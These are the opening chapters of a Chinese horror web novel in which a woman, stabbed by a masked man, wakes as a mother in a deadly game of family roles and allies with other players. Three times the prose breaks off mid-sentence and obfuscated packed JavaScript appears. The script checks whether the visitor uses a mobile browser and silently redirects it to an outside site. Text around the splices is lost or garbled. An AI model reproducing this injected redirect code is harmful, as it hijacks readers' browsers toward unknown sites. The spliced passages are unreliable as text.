《国王的囚城》 1. 相亲相爱一家人 “喵~” “喵~” 猫?是猫在叫!这不是幻听! 柳浣就快要喘不过气,胸腔被什么死死攥住,沉闷的窒息感缚着她的四肢百骸。 她的身子像是被千斤重的巨石压着,就在肋骨快要骨折的前一秒,她倏地睁开了眼。 令人窒息的怪异感也随之而去。 她于恐慌中坐起,借着月光,映入眼帘的,是一张巨大的结婚照。 柳浣的手在下一瞬死死抓住了丝绒被子,她深知,这里不是自己的房间。 她的房间里可没有对着床的诡异婚纱照……照片中的女人身材曼妙,笑容甜美,白色的婚纱衬得她貌若天仙。 可是越看越不对劲,微笑幅度过于完美,这是一个精致无瑕的假笑,更令人背后发凉的,是这张脸,和柳浣本人的一模一样。 我结婚了?我怎么不知道? 柳浣心里起疑,她还想借着从窗外映进来的月光看清新郎的脸……新郎没脸。 新郎……没有脸?! 什么情况? 寒意顺着她的背脊直直向上刺入大脑,她脑子一时宕机,一片空白。 这里是哪里? 自己什么时候结的婚? 新郎是谁? 还有,面具男! - 来到这个陌生且诡异的地方前,晚上十一点,柳浣改完编辑点评后,躺在了自己的床上,手机屏幕突然弹出一条短信。 她以为是自己买的快递到货签收了,结果打开一看—— 〖门的后面是什么,是无尽的黑廊,镜子里的是谁,是一个陌生的女人。 走着走着,你变成了个矮子。 你找到了真实,你又变成了巨人。〗 未知号码…… 柳浣不禁蹙眉,什么东西这是? 来不及思索,客厅里却突然传来猫叫声。 “喵~” 猫叫声在寂静的环境下被无限拉长,像是在哭,又像是在笑。 柳浣没有养猫,更不可能是流浪猫,因为她家在22楼,流浪猫根本不可能爬上来。 她决定一探究竟,伸出右手去按近在咫尺的床头灯,“咔哒”一声,灯却没亮,再按了两下,结果一样。 停电了? 她打开手机手电筒,穿上拖鞋,走到了门前,按下把手,门开了。 忽然,柳浣倒吸一口凉气,心脏骤然狂跳,击鼓般撞着胸腔,视线撞上门前伫立的面具男的那一刹那,浑身止不住颤抖,掌心的手机滑落在地。 门后的男人悄无声息,一身板正的黑色西装,双手负于身后,雪白的哭泣面具覆盖住了男人的面容,不露半分神情。 他是谁!怎么进来的! 柳浣下意识大叫,可尖锐的叫声还未冲出喉咙,男人的匕首抢先一步,刺入了她的腹部,肾上腺素飙升麻痹了她的神经,起初几秒,痛感迟迟未至,她慌忙捂住流血的伤口,本能地想要转身逃跑。 可是怎么逃呢?房间出口被面具男堵住,跳窗一样是死。 她此刻立在房间的落地窗前,终于,麻痹感褪去,痛感如猛兽般扑来,冷汗浸透了睡衣,柳浣双腿一软,痛得倒地不起。 面具男不紧不慢地走到了柳浣的身旁,透过面具,可见他垂着眸,睥睨着地上的她。 意识消散的前一秒,柳浣听见他温声笑了笑,说:“您好小姐,游戏开始。” 游戏……什么鬼? 意识彻底消散。 - 然后,她到了这里。 〖柳浣小姐您好,当前您的等级为初级序列1,副本《锦怨小区》载入中。〗 忽然,不知从哪里冒出一个悬浮面板,幽幽蓝光映进她的眼眸,柳浣看着上面的内容,陷入了沉思。 她这是死了后,进入了游戏? 但是……使用强制手段还有没有人性? 愤怒的情绪涌上心头后,一发不可收拾,但恐惧略胜一筹,柳浣告诉自己,得先冷静! 〖您的身份是:妈妈阿嫣。〗 〖您一共有八位家人,公公婆婆、丈夫、小姑子、弟弟以及您的三胞胎孩子。〗 〖连您九人,是相亲相爱的一家人,生活在同一屋檐下。〗 面板上的内容忽然变了,柳浣知道,这是在发布游戏身份,以及交代游戏背景。 她,现在是阿嫣。 〖任务一:搞好婆媳关系。〗 〖任务二:与老公爱得热烈。〗 〖任务三:照顾好三个孩子。〗 〖任务四:活着,与别的玩家一起,杀死您的公公。〗 柳浣右眼皮跳了又跳,这都什么啊? 〖任务失败,死。〗 “我不是已经被杀死了吗?”柳浣下意识抱怨出口。 所以死不死的,有什么区别? 〖柳小姐,您在游戏中死后,才是真的死了,现实中的您还没有死亡呢!〗 柳浣:“……” 〖赚取足够积分且达到对应等级后,您才可以返回原世界,并且获得十亿奖金哦。〗 柳浣看着面板上的内容,内心极其复杂。 〖三,二,一……〗 〖游戏正式开始!〗 〖祝您开心,祝您顺利!〗 下一瞬间,面板消失。 就算不是为了那十亿奖金,她也必须得回去,因为,她有必须要回去的理由。 柳浣只得,用命相搏。 房间很是昏暗,四下无人,只有柳浣一个人坐在这偌大的床上,冷冷清清。 好消息是,还有其他玩家。 “嗡——” 忽然,枕头边的手机震动了一下。 柳浣拿起它,手指轻点屏幕,一张奇帅无比的脸撞入她的眼睛。 靠?屏保上这帅哥是谁? 现在不是痴迷于帅哥的时候,她看了眼弹出来的群消息,是一个叫“相亲相爱一家人”的群,群人数九人。 柳浣点击打开。 阿壹:妈妈呢?饭呢?(つД`) 阿叁:妈妈我要吃糖醋排骨!嘻嘻! 阿贰:我肚肚也叫了~ 阿壹阿贰阿叁?那三胞胎吗? 直觉告诉柳浣,这三个人不是玩家。 妈:妈妈还没回家吗?@阿壹 阿嫣给这个人的备注是“妈”,她应该就是婆婆了,得搞好婆媳关系啊,这是任务一。 但她还是不敢轻举妄动,静观其变也许才是当下最好的选择。 阿壹:妈妈在房间里。 妈:@阿嫣你怎么还不起来做饭! 妈:你是想饿死你的三个儿子吗? 妈:我一个小时后回来要是发现你还没有做饭,今晚就别进这个家了! 〖婆婆好感度-2,当前好感度为8。〗 〖温馨提示,好感度变为负数,NPC会杀了您哦''?''鉴于您是新手,好感度在本副本中,将会实时报备哦!〗 面板又跳了出来,待柳浣读完后,又消失了,真是来也匆匆,去也匆匆。 柳浣:“……” 阿贰:诶?妈妈你怎么不回消息? 〖阿贰好感度-1,当前好感度为19。〗 〖阿壹好感度-1,当前好感度为19。〗 〖阿叁好感度-2,当前好感度为23。〗 〖婆婆好感度-2,当前好感度为6。〗 还能实时报备?可它又消失了。 能通过好感度的增减,来判定谁是NPC吧?柳浣这样想着。 如果是这样的话,三胞胎是NPC,婆婆也是NPC,相亲相爱一家人九个已经有四个可以肯定是NPC了,除了自己,剩下四个里,会有和自己一样的玩家吗?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496461|202529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 阿嫣:妈,我这就去做饭! 阿嫣:宝贝们,麻烦等我一下! 阿贰:好耶! 柳浣退出了群聊页面,看了眼时间。 现在是,十七点二十一分。 剩下四人,公公,小姑子,弟弟和丈夫,这其间究竟有没有玩家呢?这个游戏的范围又有多广?一共多少玩家?多少NPC? 做饭得去厨房,她的直觉告诉她,她必须要出房间,给三个孩子做晚饭,毕竟照顾好孩子,也是任务。 她小心翼翼地探出手,打开了房间灯,光亮瞬间涌入每一个角落,柳浣看清了房间的布局装饰,和正常的房间大差不差,唯一不同的就是那诡异的婚纱照。 未知的恐惧是真正磨人的利刃,它会一点一点搅碎强行建立起的镇定,柳浣吞了口唾沫,强迫自己不去看新郎没有五官的脸。 但……越是刻意不在意,反而越是极致在意,柳浣很难忽略掉他。 她翻身下床,来到门边。 上一次打开房间门,门外是面具男,是将她带入这荒谬游戏的真凶。 这一次开门,又会是什么? 她双腿不自觉地颤抖,右手掌搭在把手上许久,也许是一分钟,也许是十分钟,内心的争执十分煎熬。 终于,她下定决心,猛地拉开了房门。 “啊——” 柳浣踉跄着退后两步,失去平衡的她跌坐在了地板上。 门外,站着一个孩子,柳浣的求生欲迫使她立刻捂住嘴,极力控制住自己的声音。 眼泪落了下来,柳浣顾不及它。 她何曾经历过这些惊心动魄的场面?神经紧绷成一根随时可断的弦,身心疲惫到了极致,身处诡谲他乡,处处暗藏杀机,她连呼吸都带着颤栗。 这个孩子很可爱,四五岁的样子,要是放在现实,柳浣是绝对会扑上去抱住他,然后搓搓对方的小脸蛋,但…… “妈妈?你怎么了?”孩子眨巴着水汪汪的眼睛,盯着地上的柳浣问,“我的糖醋排骨好了吗?” 糖醋排骨?这个小男孩是阿叁。 柳浣抹了眼泪,扶着墙站起。 这会她才注意到,外面漆黑一片。 “妈妈……这就去给你做,”柳浣藏住自己的情绪,艰难地露出笑容,“宝宝可以等妈妈一下吗?” 阿叁闻言愣了愣,圆圆的脑袋往左一偏,看着妈妈一言不发。 柳浣:“……” 自己哪里说错了吗? 如果真是这样,柳浣会绝望的。 可下一秒,阿叁开心地笑了起来:“妈妈叫我宝宝了耶!我喜欢妈妈!” 〖阿叁好感度+10,当前好感度为33。〗 好感度怎么就加了? 柳浣看着眼前的孩子,心生一计:“那我可爱的宝贝,可以去把客厅灯打开吗?” 言毕,柳浣愣住了。 她又点开手机,看了眼时间。 十七点三十分。 不管是冬天还是夏天,十七点三十分外面就伸手不见五指,是不可能的。 但转念一想,这里不是她原来的世界。 这也不是现在值得深究的问题。 “好的哟妈妈!” 阿叁开心应下,转身走进黑暗。 不久后,客厅的灯骤然亮起。 柳浣四下环视,这装修风格,是千禧年的风格,像是童年中的噩梦……泛黄的壁纸,台式的电视机以及老式吊灯,都是柳浣记忆里无比熟悉的旧物件。 但,处处透露着诡异,柳浣说不上来。 客厅挺大,连着阳台与厨房。 “妈妈妈妈!”阿叁嘴里欢快地叫着,然后小跑过来抱住了妈妈的腿。 柳浣调整好情绪,蹲下来与NPC阿叁平视,她依旧扬出温和的假笑,问—— “阿叁,家里其他人呢?” 2. 玩家明朝 “家里其他人呢?” “只有大哥哥,二哥哥和舅舅在家里。”阿叁乖乖回答。 柳浣只思索片刻,表面从容道:“妈妈这就去给你们做饭,阿叁去房间里问问哥哥们想要吃什么,好吗?” 阿叁依旧答应:“好的!” 柳浣看着阿叁蹦蹦跳跳进入一个房间,心说这NPC还挺好说话。 柳浣这样做原因有二,一是讨好另外两个NPC,说不定能因此增加好感度,保自己不死,二是熟悉环境,身为母亲,不可能连自己孩子的房间在哪里都不知道。 那是北侧走廊最靠外的一间房,紧挨着客厅,其余三间屋子则左右错落排布。 走廊一共排布着四间卧房,除去这间,另外三间应该分别住着公婆、小姑子,还有阿嫣的弟弟。 而阿嫣与丈夫的卧房,方位和几人截然相反,单独设在客厅南侧。 当下的紧急任务是,给孩子们做饭。 婆婆就快要回来了。 阿嫣的那位婆婆,在“相亲相爱一家人”群中放出的狠话,像是一把利剑,架在了柳浣细嫩的脖子上。 柳浣放轻脚步,几乎是贴着墙根,朝客厅西侧的阴影里挪去,随后,她蹑手蹑脚推开厨房门,然后找灯的开关。 她按下门右边的开关,顶灯忽然闪了闪,幽黄的光在天花板上投出晃荡的影。 水槽里不见一滴水,却飘着若有若无的,像铁锈混着腐叶的腥气,案板上的瓷碗倒扣着,都落了灰。 处处看着寻常,但…… 柳浣总觉得有人在看着她。 “妈妈妈妈,大哥哥想吃西红柿炒鸡蛋,二哥哥想吃炒玉米!”片刻后,阿叁火急火燎赶回到她身边,笑容可掬道。 柳浣回神,蹲下来目视着阿叁,语气温柔,神态自若:“我的阿叁真棒!” 不知道为什么,这个NPC给了她莫名的踏实感,兴许是因为阿叁太可爱太听话了……但这并不意味着可以就此放下警惕。 “谢谢妈妈夸奖!” 〖阿叁好感度+2,当前好感度为35。〗 柳浣嘴角微微上扬。 小样,拿捏。 - 四十分钟后,餐桌上。 长方形的餐桌之上,对立坐着五人,柳浣坐在左边,三胞胎和自己的“弟弟”坐在右侧。 “谢谢妈妈!”三胞胎异口同声,他们嫩得能掐出水的脸蛋上,都洋溢出了欢喜的笑颜。 柳浣心底掠过一丝庆幸,思绪稍稍沉淀,注意力随之远去,落在了别处。 餐桌之上悬挂的灯泡,始终泛着幽黄,光线沉沉附着在对面人的脸上,将“弟弟”的脸庞映得焦黄,他的黑眼圈很重,眼白上布满了血丝,整个人憔悴不堪,像是死了三天的鬼。 若非他依旧健壮的身形,柳浣怕是真的要生出那样的错觉。 早在这位“弟弟”被阿叁叫出房间时,柳浣就注意到了他那挺拔有力的身姿,估计这人一米八五左右。 姿色倒是不错。 除去深入骨髓的疲惫,这位“弟弟”眼神中还藏着......浓厚迷茫与无尽绝望。 抱着侥幸心理的柳浣,不动声色拿出了手机。 她找到了与“弟弟”的聊天框。 阿嫣:弟弟,怎么不吃? 柳浣发完消息后,目光自然而然落在了“弟弟”的身上,她注视着对方的一举一动,没过多久,她就得到了回复消息。 视线也因此收回。 弟弟:对不起,我马上就吃。 阿嫣:你好像,在惧怕着什么。 她在试探。 弟弟探出手拿筷子的动作一顿。 要是柳浣此刻抬头,她定能看见对方不解与震惊的目光,还有那潺潺不断不知源头为何处的恐惧。 弟弟:? 阿嫣:喜欢玩游戏吗? 几秒后,弟弟:呃,初级序列1?? 阿嫣:yes!!你也!! “呼~” 柳浣听见对方长舒了口气,由衷地笑了笑,看了他一眼后,继续问。 阿嫣:你叫什么名字? 弟弟:我真名叫明朝,在这个鬼游戏里的身份是啃老专业户,叫阿虎。 弟弟:现实生活中,我是个游手好闲的富三代,22岁,身高186。 阿嫣:? 阿嫣:大佬打钱。 弟弟:先说正经的好不好!!在游戏里我就是个小白! 弟弟:看手机上给你的备注...游戏里,你应该就是我姐。 阿嫣:备注是什么? 弟弟:......二傻子老姐。 阿嫣:你改一下吧。 弟弟:也行。 阿嫣:......我怎么感觉你心不甘情不愿呢? 弟弟:怎么可能!对了,你叫什么? 其实柳浣也没想到,自己仅仅是问了个名字,对方竟连家底都爆出来了,在这种神不知鬼不觉的诡异地方,不应该保持对所有人都警惕吗? 阿嫣:柳浣。 她简单回复。 弟弟:然后呢? 然后,他还想问然后? 阿嫣:和你一样,22岁,不是富三代,是个苦命打工仔。 阿嫣:对了,你的任务是什么? 柳浣持续套话中。 弟弟:我滴姐,打字不累吗? 阿嫣:那你要当着npc的面讨论这些? 阿嫣:ooc了老弟。 “咔嚓——” 门锁被转动,两位玩家下意识关了手机,齐刷刷朝着玄关处看去。 阿叁笑了笑:“啊,是奶奶回来啦!” “吱呀——” 一声脆响,门被缓缓打开。 柳浣瞳孔地震,整个人如遭雷击,搭在腿上的手猛地攥紧,指节泛白也全然不觉,恐惧爬满了她的全身,致使她体内的每一个细胞都在嚎啕叫嚣。 她拼尽全力想要迈开腿逃跑,却发现自己的身体此时此刻不受控制。 她欲哭无泪,一时间只觉呼吸困难。 进来的是一个,没有五官的,浑身皮肤溃烂的佝偻白发老人! 一身连衣裙随着她的步伐摆动,每一帧都在往柳浣心脏上面插刀子。 但……怎么好像不痛? 明朝没说什么,只是视死如归般地起身,然后坐到餐桌左边来,与柳浣一侧。 这个位置,刚好可以挡住婆婆。 如果这个npc真要做什么的话。 柳浣欲言难止,心里冒出别样的滋味。 是感激,还是疑惑? 兴许都有点吧。 “奶奶,你今天又瞧了几个病人啊?”阿壹这时候放下了勺子,笑眯眯地问。 瞧病人? 婆婆的职业莫不是医生? 风驰电掣间,婆婆踱步至明朝的身前,明朝下意识往后一倒,连着椅子也倾向一边,好在柳浣用手托住了他的后背,把他按了回去。 不至于让他连着椅子一同摔倒。 心脏在那一瞬间受的冲击极大,纵然明朝极力强行压制心绪,那份劫后余生的悸动感,依旧翻涌不止,半点也压不下去。 “奶奶我啊,今天问诊了小区里的六个小朋友呢,”婆婆的头朝向阿壹,温柔的声音极其悦耳,“饭好吃吗?” 柳浣听着只觉得瘆得慌,很难想象没有嘴的人是如何发出声音的。 阿壹点了点头,心情像是好极了:“奶奶,妈妈给你留了饭哦,今天我们吃的是糖醋排骨,炒玉米和西红柿炒鸡蛋!” 柳浣闻言身子一僵,连忙起身道:“妈,我去帮你热一下。” 她欲哭无泪,看似坚定不移地移步厨房。 〖婆婆好感度+2,当前好感度为8。〗 柳浣动作一顿,不可置信地回头看了眼…… 不看还好一看吓一跳,三胞胎空洞无神的目光漫无目的,轻飘飘地落在柳浣身上,再看向一旁的婆婆,没有五官,辨不出喜怒哀乐,万幸的是,好感度没有降。 至于明朝……兄弟加油吧! 她恹恹走进厨房里。 - 半个小时后,阳台。 明朝反手拉上了连接客厅与阳台之间的推拉玻璃门。 柳浣假意侍弄盆栽,明朝在她一旁假装擦玻璃。 两人看似专心致志地干着家务,实则不然,他们的嘴巴就没有停过。 阳台的灯不太亮…… 柳浣蹲在盆栽前,左右手齐上阵,摸摸这株花,碰碰那株草,没有实际有意义的举动,不过是掩人耳目的手段罢了,明朝也是一样,蹲在一处反复擦拭着同一块地方。 明朝压低声音,一五一十道来:“我的任务有四个,我先大概给你说一下。” “一, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496462|202529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与家人搞好关系,不能暴露自身身份,二,三天内,带着三胞胎到小区游乐区玩一趟,三,不能忤逆姐夫,四,与其他玩家一起,杀死...你的公公。” 柳浣不禁蹙眉:“你也有杀死公公的任务?” 明朝颔首:“是啊,你的任务呢?” 柳浣早已对他放下了所有防备。 大抵是二人本就来自同一个世界,心底天生多了层隐秘的亲近与信任,又或许是不久前婆婆归来时,他局促不安地起身,默默坐到自己身侧的模样,悄然软化了她所有的警惕。 “我也有四个任务,搞好婆媳关系,照顾好三个孩子,杀死公公。” “你这也才三个啊,还有一个呢?” 柳浣面露难色,难以启齿:“呃,不太好说出口...” 明朝藏不住事,“啧”了一声后不满地抱怨:“怎么?不信任我?我的姐啊,现在我们才是一条船上的蚂蚱好不好?” “任务二,与老公爱得热烈......”柳浣手里动作一滞,视死如归般说出了口。 这猎奇任务,好羞涩!! 明朝愣了片刻,而后嘲笑出口:“哈哈哈,这是什么任务,不知道的还以为你进入的是什么乙女游戏,真是绝了!” “呵呵,我倒是希望啊,至少不会死人啊。” 明朝闻言,脸上的笑意瞬间敛去,神色骤然沉凝,眉眼间染上几分沉郁,整个人缓缓陷入悠远而沉重的回忆里。 柳浣:“......笑不出来了吧?走一步看一步吧,我算是大概明白了,杀死公公是主线任务,如果还有别的玩家,大概率任务里都会有这一条。” “难怪我的另外三个任务和你的不一样呢。”明朝这时候放下擦玻璃的抹布,不甚了了地点了点脑袋。 柳浣继续分析:“你也是面板给你发布的任务吧?” 明朝依旧颔首:“对!” “我觉得,这个副本里,面板仅仅是发布任务,具体的流程...应该是靠npc来推动。” “此话怎讲?” 柳浣反问:“你穿进来多久了?” 明朝目光微微抬向斜上方,眸光放空,缓缓陷入了回忆:“也没多久,大概进入副本五六分钟后,你的其中一个孩子就来叫我出去吃饭了。” “那你是怎么进入游戏的呢?” “那说起来可就......” 柳浣知道他接下来会说出口的一长段措辞,直接出声打断:“你长话短说。” 明朝呵呵一笑,又叹气道:“陪我爸参加完一个公司聚会,我回到家后洗完澡就睡了,大概十一二点钟吧,我听见有人敲我房门。” 柳浣听得很认真:“然后呢?” 明朝接着说:“然后我就问是谁,那人也不回答我,我想兴许是新来的保姆有什么事情找我,我就去开门,结果打开房间门一看,是一个戴着白色面具的男人,他一刀捅进我的小腹,然后我就来这了。” “那人是不是还穿着西装?” “欸!是是是!”明朝闻言犹如被点醒一般,“等等,我总觉得我还忘了些什么...是什么呢,怎么就是想不起来呢...算了,你先继续分析吧。” “你跟我进入副本的时间大差不差,也就是说这个游戏才刚刚开始。” “明朝,一环扣一环,我之所以会走出房间做饭,是因为npc,你为什么会走出房间,还是因为npc,所以你明白了吗?” 明朝试着跟上她的思维:“原来是这样,如果我们要验证你的猜想的话,是不是只有等?” 柳浣:“是的,支线任务如何推进得看npc什么时候需要我们,我们在保证自身不死的情况下,照着做就行,至于主线任务,我问你,公公这号人物出现了吗?” 明朝的思维已经彻底上了她的快艇,他神情真挚地摇头:“没有。” “既然如此,等着吧。”柳浣的脚蹲麻了,她扶着玻璃门起身。 下一个瞬间,明朝惊呼:“哦!” 柳浣身躯一震,反应过来后无语地看着对方。没错,明朝忽然大声惊呼,吓了她一大跳。 柳浣:“你干嘛...” 明朝认真道:“我想起来了!进入副本游戏前,也就是我去开房间门前,我还听见了猫叫声。” 柳浣闻言,霎时间倒吸了一口凉气:“......猫吗。” 猫......又是猫! 3. 玩家窦萌? 夜色像一块浸满墨汁的破布,沉沉压在锦怨小区的上空。 老旧挂钟在客厅墙面上“滴答滴答”缓慢走着,每一声都敲在人心尖上,沉闷又压抑。 时间来到九点,柳浣刚把桌上的碗筷收拾干净,指尖还沾着一点未散尽的凉意,一旁的手机屏幕毫无预兆地亮了起来。 依旧是那个名为“相亲相爱一家人”的九人群聊。 发消息的是已经回到房间里的婆婆。 妈:阿嫣,阿虎,九点了。 妈:你们两个去小区门口,把阿玲接回来。 消息弹出的瞬间,柳浣后颈的汗毛猛地竖了起来。 阿玲。 应该是小姑子。 是NPC?还是……又一个被强行拉入游戏的玩家? 还没等她细想,冰冷的系统面板再次凭空浮现在视野里,淡蓝色的光映得她眼底一片发寒。 〖触发支线任务:接回阿玲〗 〖任务提示:锦怨小区的夜晚,不要乱看,不要乱听,不要回应陌生人的呼唤。〗 〖违背规则,随机扣除npc好感度,触发未知诅咒。〗 〖限时一小时。〗 面板一闪而逝,像从未出现过。 柳浣捏着手机,指尖微微发紧。 这才是支线任务? 如此看来,一次性的才是支线任务。 柳浣在心里想,之前的推理不全对,也不全错。 现在的客厅里,只有明朝和她两个人。 一旁的明朝也看见了群消息,他侧过头,压低声音,用气音凑到柳浣耳边:“阿玲?又是一个家人?” “嗯。”柳浣点头,眼神凝重,“九个家人,现在婆婆,三胞胎已经确定是NPC,我们两个是玩家,剩下还有丈夫,小姑子,公公。” 剩下三个人—— 从未露面的丈夫,即将被接回来的小姑子阿玲,以及主线任务中要刺杀的公公。 “看这个任务的意思,阿玲现在就在小区大门口。”柳浣抬眼望向窗外。 明朝目光呆滞地朝着某个方向愣了片刻后,对着柳浣道:“我的面板刚才也弹出支线任务具体说明了。” 柳浣:“我也接收到了,对了,现目前有对你好感度为负数的npc吗?” 明朝摇头:“没有,因为我是新手,面板实时报备着好感度呢。” 柳浣颔首:“我也一样。” 外面黑得离谱。 明明刚过九点,按理来说城市的夜色再沉,也该有零星路灯,远处楼宇的灯火。 可从这间屋子望出去,整片锦怨小区像是被彻底隔绝在了人间之外,浓稠的黑暗吞噬了所有光亮,连风都吹得凝滞不动。 客厅里的灯光昏黄老旧,只能勉强照亮一小块地方,稍远一点的走廊,就彻底融进了无边的黑影里。 “这个小区……不对劲。”明朝低声道,“应该说这个世界诡异的要死,才下午五点外边天就全黑了。” 柳浣闻言深有同感,看来明朝也注意到了。 她不敢拖延,压下心底翻涌的寒意,轻声开口:“我们走吧,去小区门口。” “一起。”明朝立刻跟上,没有半分犹豫。 经过一段时间的试探与结盟,两人已经默认了彼此是眼下唯一可以互相依靠的同伴。 两人一前一后,轻手轻脚穿过客厅。 三胞胎也已经回了房间,走廊里安安静静,只能听见两人略显急促的呼吸声。 柳浣刻意不回头。 她不敢看。 因为她总觉得,身后的阴影里,有一双眼睛,正静静地盯着她……且仅仅是针对她一个人的。 这股莫名的感觉,自她进入副本以来,一直跟到现在。 明朝关了灯,推开屋门的那一刻,一股阴冷潮湿的晚风扑面而来,带着铁锈与腐烂草木混合的腥气,钻进鼻腔,让人胃里一阵翻涌。 柳浣站在楼梯道里时,特地留意了他们家所在的楼层—— 四楼。 以及门牌号,402。 外面比屋内还要漆黑。 一根根歪斜的老旧灯杆孤零零立在路边,像一个个垂首伫立的鬼影。 两侧的居民楼密密麻麻挤在一起,墙皮大面积剥落,露出里面暗沉发黑的红砖,窗玻璃碎裂大半,黑洞洞的窗口像是无数双睁开的眼,静静俯视着路过的活人。 没有一户人家开了灯。 也没有人声,没有虫叫,甚至没有风声。 整座锦怨小区,安静得太过彻底,彻底得透着一种坟墓般的死寂。 “这里……真的有人住吗?”明朝忍不住低声发问。 他从小生活在繁华都市,从未见过这样阴森荒芜的小区。 ……这哪里还是居民区,分明就是一片废弃多年的荒冢! 柳浣脚步放缓,目光扫过两旁黑漆漆的楼栋,声音压得极低:“任务说,不要乱看,不要乱听,不要回应呼唤,我们只管往前走,去大门,接到阿玲,立刻回去。” 两人并肩走在空旷的道上,脚步声在空荡荡的小区里来回回荡,显得格外突兀。 明朝打开手机手电筒照亮前路,道路两旁的绿化带早已荒芜,杂草长得比人还高,在黑夜里张牙舞爪,影子歪扭曲裂,像是一只只伸手抓人的鬼爪。 风穿过荒草缝隙,发出奇怪的呜咽声,像女人的哭泣,又像孩童的低笑,断断续续,缠在耳边挥之不去。 走着走着,柳浣忽然听见身后传来一声轻轻的呼唤。 “姐姐……” 软糯的女童声音,贴着耳边响起,近在咫尺。 柳浣浑身一僵,脚步猛地顿住。 脑海里瞬间闪过面板内容上的警告—— 不要回应陌生人的呼唤。 她死死咬住下唇,强迫自己不要回头,不要应声。 身旁的明朝显然也听见了,背脊瞬间绷紧,脸色发白,一言不发加快了脚步。 那道女童的呼唤,不依不饶,又幽幽响了起来:“姐姐,等等我呀……陪我玩好不好……” 声音忽远忽近,像是就在身后,又像是飘在荒草丛里,柳浣心口狂跳,不敢有丝毫停留,埋头往前走去。 她知道,一旦回头,一旦应声,后果不堪设想。 这座诡异的小区里,藏着无数不知名的脏东西,正借着夜色,引诱着落单的活人。 继续往前走,路边偶尔能看见散落的旧玩具,破碎的布娃娃,歪歪扭扭躺在草丛里。 一栋居民楼的楼道口,半掩着一扇铁门,门缝里渗出浓得化不开的黑暗,里面隐隐传来拖沓的脚步声,一下,又一下,缓慢地朝着门外靠近。 没有人影,只有脚步声。 明朝下意识往柳浣身边靠了靠,压低声音:“别往那边看。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496463|202529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柳浣点头,视线死死盯着前方通往小区大门的路,强行忽略耳边所有诡异的声响。 越往小区门口走,周遭的寒意就越重,整片天空像是被一只巨大的手捂住,连一丝月光都透不下来。 远远的,终于能看见小区锈迹斑斑的铁大门,铁门半开半合,在夜风里轻轻晃动。 大门旁边的保安室黑漆漆一片,窗户破碎,里面空无一人,桌椅歪斜倒在地上,落满厚厚的灰尘。 哪里有半点小区安保亭的样子…… 就在这时,一道纤细的身影,背着一个大大的行李箱,孤零零站在铁门之下。 少女穿着一身高中校服,身形清瘦,长发垂在肩头,明明只是静静站在那里,周身却透着一股与这片诡异黑夜格格不入的警惕与惶恐。 她也在害怕。 柳浣和明朝对视一眼,心里同时生出一个猜测。 这个人,大概率不是npc。 两人快步走上前。 少女听见脚步声,猛地抬起头,一双眼睛在黑暗里亮得惊人,带着几分戒备与试探。 “你们是……阿嫣姐,还有阿虎哥?”她开口,声音带着一点紧绷的颤抖。 柳浣放缓语气:“我们来接你回家,阿玲。” 少女咬了咬下唇,犹豫几秒,轻轻吐出一口气:“你们也是那个……什么吗?” 柳浣:“你是想说玩家?” 少女得到了心中想要的答案,心中顿时踏实不少:“姐姐你好,我不叫阿玲,我真名叫窦萌。” 一句话落地,尘埃落定。 果然,她也是玩家,是藏在这个副本里,第三个入局的活人。 窦萌伸手攥紧了身后的行李箱拉杆,眼神里满是后怕:“一睁眼,就被扔在了小区门口,悬浮面板告诉我,我的身份是阿玲,任务是跟着你们一起回去,乖乖扮演家人,不能被NPC识破异常。” 少女像是终于找到了慰藉,心中的委屈尽数输出。 锦怨小区的夜风更冷了,吹得铁门不断摇晃,黑影在地面扭曲游走。 窦萌下意识回头看了一眼漆黑的小区深处,声音发颤:“这个地方……根本不是活人该待的地方,刚才我站在这里的时候,听见围墙里面,有很多人在小声喊阿玲的名字,感觉还有人扒着铁门,往外看我……” 柳浣心头一沉。 规则里说不要回应呼唤。 可这座小区里的诡异,远比他们想象的还要多。 明朝皱起眉:“别多说了,我们赶紧回去,我觉得待在外面越久越危险。” 窦萌点点头,不敢再多停留。 明朝主动接过沉甸甸的行李箱,跟在两人身后,往家的方向折返。 来时的路,此刻看去,变得更加阴森可怖,路边的荒草晃动,黑影幢幢,那些破碎的窗口里,仿佛挤满了无数看不清面容的人影,默默注视着他们一行三人的背影。 隐隐约约,耳边又响起此起彼伏的呢喃与呼唤,男女老少,形形色色,从四面八方缠过来,试图勾住他们的脚步。 柳浣沉下心神,死死记住规则。 不看,不听,不应答。 三人脚步匆匆,在死寂的黑夜里。 而谁也没有注意到,在他们身后很远的地方,一道穿着黑色西装的人影,静静立在浓黑的夜色里,遥遥望着他们离去的方向。 他低低地笑了一声。 4. 同床共枕 三人的脚步在死寂的黑夜里踩得急促,终于在九点半时,他们回到了家门前。 